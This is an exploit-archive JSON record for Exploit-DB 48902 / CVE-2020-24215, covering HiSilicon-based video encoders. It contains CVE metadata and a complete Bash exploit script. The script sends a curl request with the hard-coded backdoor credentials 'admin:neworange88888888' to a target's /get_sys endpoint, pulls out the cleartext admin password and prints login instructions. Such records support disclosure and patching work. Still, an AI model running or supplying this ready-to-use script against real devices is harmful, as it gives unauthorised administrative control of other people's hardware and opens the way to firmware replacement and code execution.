{"exploit":{"id":"EDB-48902","name":"HiSilicon Video Encoders - Full Admin Access via Backdoor Password","description":"HiSilicon Video Encoders - Full Admin Access via Backdoor Password","cves":["CVE-2020-24215"],"author":"Alexei Kojenov","published":"2020-10-19","platform":"hardware","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48902","path":"exploits/hardware/webapps/48902.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48902.sh","vulnerabilities":[{"id":"CVE-2020-24215","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in the box application on HiSilicon based IPTV/H.264/H.265 video encoders. Attackers can use hard-coded credentials in HTTP requests to perform any administrative task on the device including retrieving the device's configuration (with the cleartext admin password), and uploading a custom firmware update, to ultimately achieve arbitrary code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-24215","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-24215"},"updatedAt":"2024-08-04T15:12:08.683Z","retrievedAt":"2026-11-26T03:59:29.797Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48902.png?v=2","url":"https://exploitbin.com/exploits/EDB-48902","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48902/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48902/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env bash\n\n# Exploit Title: HiSilicon video encoders - full admin access via backdoor password\n# Date: 2020-09-20\n# Exploit Author: Alexei Kojenov\n# Vendor Homepage: multiple vendors\n# Software Link: N/A\n# Version: vendor-specific\n# Tested on: Linux\n# CVE: CVE-2020-24215\n# Vendors: URayTech, J-Tech Digital, ProVideoInstruments\n# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/\n# Reference: https://www.kb.cert.org/vuls/id/896979\n\n\nif [ \"$#\" -ne 1 ]\nthen\n  echo \"Usage: $0 <server>[:<port>]\"\n  exit 1\nfi\n\nprintf \"retrieving the password... \"\npassword=$(curl -s --user admin:neworange88888888 http://$1/get_sys | \\\n           grep -oP '(?<=<html_password>).*?(?=</html_password>)')\nret=$?\n\nif [ \"$ret\" -eq 0 ]\nthen\n  echo \"the password is '$password'\"\n  echo \"navigate to http://$1 and log into the admin interface with user 'admin' and password '$password'\"\nelse\n  echo \"ERROR: curl returned $ret\"\nfi","sha256":"1ecb837c01fdc61553f8b4867b82ae7633b5988b0a0c5b3844e77e2a47c6b038","bytes":940,"fetchedAt":"2026-11-26T18:07:24.777Z","encoding":"utf-8 (display only; download retains original bytes)"}